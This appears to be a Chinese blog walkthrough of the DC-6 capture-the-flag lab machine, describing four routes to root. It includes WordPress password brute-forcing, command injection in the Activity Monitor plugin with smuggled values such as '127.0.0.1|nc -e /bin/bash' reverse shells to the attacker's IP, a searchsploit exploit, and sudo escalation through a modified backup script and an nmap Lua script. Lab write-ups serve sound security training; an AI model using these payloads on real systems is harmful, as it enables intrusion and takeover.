DC-6靶机渗透测试

DC-6靶机渗透测试

方式一

1. 信息收集

1.1 主机扫描

arp-scan -l

image-20230811190850967

1.2 端口扫描

nmap -sS -p- 192.168.188.176

image-20230811190902487

访问web页面

image-20230811190704425

发现没有反应,之前在DC-2中遇到过这种情况需要改hosts文件。

打开配置文件

vim /etc/hosts 

配置如下信息

192.168.188.176 wordy

image-20230811192424662

然后重新启动服务即可访问页面。

image-20230811192516845

1.3 目录扫描

dirsearch -u 192.168.188.176 -e * -i 200

image-20230811192843743

访问后台页面

http://wordy/wp-login.php  

image-20230811192940664

2. 暴力破解

使用cewl生成密码字典

cewl -w password.txt http://wordy/

image-20230811193415744

使用wpscan暴力枚举用户名

wpscan --url http://wordy/ -e

image-20230811193618460

然后将这五个用户名放在一个字典中,进行爆破

wpscan --url http://wordy/ -U user.txt -P password.txt

发现无法爆破出来。

查看DC-6作者的提示

image-20230811195729026

image-20230811195837964

解压指定文件

gunzip rockyou.txt.gz

说明gunzip 是一个用于解压缩.gz文件的命令行工具。

image-20230811195939865

然后切换到tmp目录下生成密码字典

cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic 

image-20230811200331264

将之前创建的用户名字典移动到tmp目录下,然后进行爆破

wpscan --url http://wordy/ -U user.txt -P wordy-pass1.dic

image-20230811200814379

用户名:mark,密码:helpdesk01进行登录。

登录成功

image-20230811200934431

页面发现

image-20230811201151447

3. 漏洞利用

发现了Activity monitor这个插件(远程命令执行漏洞)

Activity Monitor,官方解释为:(活动监视器)即实时显示CPU、内存和网络的使用情况,记录由虚拟内存大小测量的系统负载。用一句大白话来说,Activity Monitor类似Windows中的任务管理器,可以实时查看进程占用的CPU、内存的使用量。

使用searchsploit进行漏洞查找

searchsploit activity monitor 

image-20230811211225589

查看漏洞的绝对路径

searchsploit -p php/webapps/50110.py

image-20230811211326448

/usr/share/exploitdb/exploits/php/webapps/50110.py

用python执行这个脚本

python3 /usr/share/exploitdb/exploits/php/webapps/50110.py

依次输入靶机的IP地址,爆破出来的用户名及密码。

image-20230811211623558

4. 提权

开启一个新终端监听6666端口

image-20230811211801402

然后在刚才的终端里输入反弹shell

nc -e /bin/bash 192.168.188.157 6666

image-20230811211847865

使用python交互shell

python  -c "import pty;pty.spawn('/bin/bash')"

image-20230811211915533

找到mark用户的家目录下的stuff文件夹,查看里面的things-to-do.txt。

image-20230811212146775

提示添加了新用户:graham - GSo7isUM1D4。切换用户:

su graham

image-20230811212320637

查询graham用户的root权限指令:sudo -l,看到jens目录下有bash脚本。

image-20230811212351126

切换到jens的家目录查看脚本文件backup.sh

image-20230811212541465

该脚本的内容是压缩备份Web的文件。那么我们是否可以在脚本里面添加代码,这样在执行脚本的时候可以打开一个shell。

追加写入:echo "/bin/bash" >> backups.sh,意味着它会打开一个shell(此处会打开jens用户的shell)。

image-20230811212830530

该脚本在jens的家目录下所以使用jens的身份执行该脚本:sudo -u jens /home/jens/backups.sh,切换成功。

说明-u以指定的用户作为新的身份。

同时查看jens的可执行哪些命令的权限,发现有nmap。

image-20230811212956177

查看nmap的sudo提权方式

nmap | GTFOBins

image-20230811213109832

使用a方法依次输入即可

image-20230811213304103

进入root根目录,找到theflag.txt,渗透成功。

image-20230811213328337

方式二

1. 漏洞利用

发现了Activity monitor这个插件后,使用使用searchsploit进行漏洞查找。

searchsploit activity monitor 

image-20230812104844565

将45274.html复制到桌面上进行修改

image-20230812105113603

kali监听4444端口

nc -lvp 4444

image-20230812105311815

再开启一个临时http服务端口为8888

python3 -m http.server 8888

image-20230812105437367

浏览器访问一下kali开启的http服务。

192.168.188.157:8888

image-20230812105510733

点击Submit request

反弹成功

image-20230812105618224

进入到mark用户的家目录下,stuff文件下有一个things-to-do.txt文件,查看文件内容发现是graham用户及登录密码。

image-20230812105819491

使用ssh远程登录

image-20230812105925570

查看一下当前用户可以执行的操作,发现可以运行jens用户家目录下面的backups.sh脚本

image-20230812110055445

查看jens家目录下的这个文件,发现是对web的文件进行打包备份

image-20230812110116859

追加写入:echo "/bin/bash" >> backups.sh。并指定jens的身份来执行该脚本。

脚本执行成功后,切换到jens用户,查看jens可以执行的操作 。

image-20230812110418085

发现nmap提权提示操作。通过查询nmap | GTFOBins,来进行提权即可。

echo 'os.execute("/bin/sh")' > getShell
sudo  nmap --script=getShell

# 查找flag
cat /root/theflag.txt

image-20230812111112062

提权命令说明

命令 echo 'os.execute("/bin/sh")' > getShell 是一条用于创建一个名为 getShell 的文件,并将其中的内容设置为 'os.execute("/bin/sh")' 的命令。下面对这个命令进行详细解析:

  • echo:是一个命令行工具,用于将指定的字符串输出到标准输出(通常是终端)。
  • 'os.execute("/bin/sh")':是一个 Lua 语言中的表达式,表示执行一个操作系统命令 /bin/sh(即交互式 Shell)。
  • >:是一个重定向操作符,用于将命令的输出重定向到指定的文件。
  • getShell:是要创建的文件名,也可以是文件的路径。

因此,该命令的作用是将 'os.execute("/bin/sh")' 这个命令写入名为 getShell 的文件中。

getShell 文件内容为:

os.execute("/bin/sh")

当执行这个文件时,将会执行 "/bin/sh" 这个命令,从而打开一个交互式 Shell。这意味着,在执行 getShell 文件后,将进入一个可以执行命令的 Shell 环境。

该命令 sudo nmap --script=getShell 是使用 nmap 工具执行 getShell 脚本的命令。下面对这个命令进行详细解析:

  • sudo:是一个命令行工具,用于以超级用户(root)权限执行指定的命令。sudo和SUID详解
  • nmap:是一款网络探测和安全扫描工具,用于扫描主机和网络服务。
  • --script=getShell:是 nmap 命令的参数,指定要运行的脚本名称为 getShell

方式三

1. 漏洞利用

在登录后发现了Activity monitor这个插件

Activity Monitor,官方解释为:(活动监视器)即实时显示CPU、内存和网络的使用情况,记录由虚拟内存大小测量的系统负载。用一句大白话来说,Activity Monitor类似Windows中的任务管理器,可以实时查看进程占用的CPU、内存的使用量。

image-20230812102441572

输入127.0.0.1测试一下

image-20230812102907482

这里既然能解析ip地址,是否也能解析命令如127.0.0.1&ls。

image-20230812102812952

发现确实是远程命令执行漏洞,利用这个漏洞来反弹shell。输入框输入如下命令:

127.0.0.1|nc -e /bin/bash 192.168.188.157 9999

这里它的输入框有限制输入长度,可以查看源代码在检查里修改它的长度,将其修改为100。

image-20230812103525426

image-20230812103627109

kali中监听9999端口

image-20230812103542530

点击页面上的Lookup,反弹成功。

image-20230812103646195

然后设置交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

image-20230812103745218

然后接下来解释提权了,和方式一的方法一样。

方式四

1. 漏洞利用

利用Activity monitor这个插件,在发送数据的时候使用bp抓包来修改。

页面输入127.0.0.1后在bp中修改抓取到的数据包,修改为127.0.0.1|ls,成功显示。

image-20230812104338642

然后修改数据包为127.0.0.1|nc -e /bin/bash 192.168.188.157 6666

image-20230812104618499

并且kali反弹成功,设置交互式shell

image-20230812104552240

  • 6
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

来日可期x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值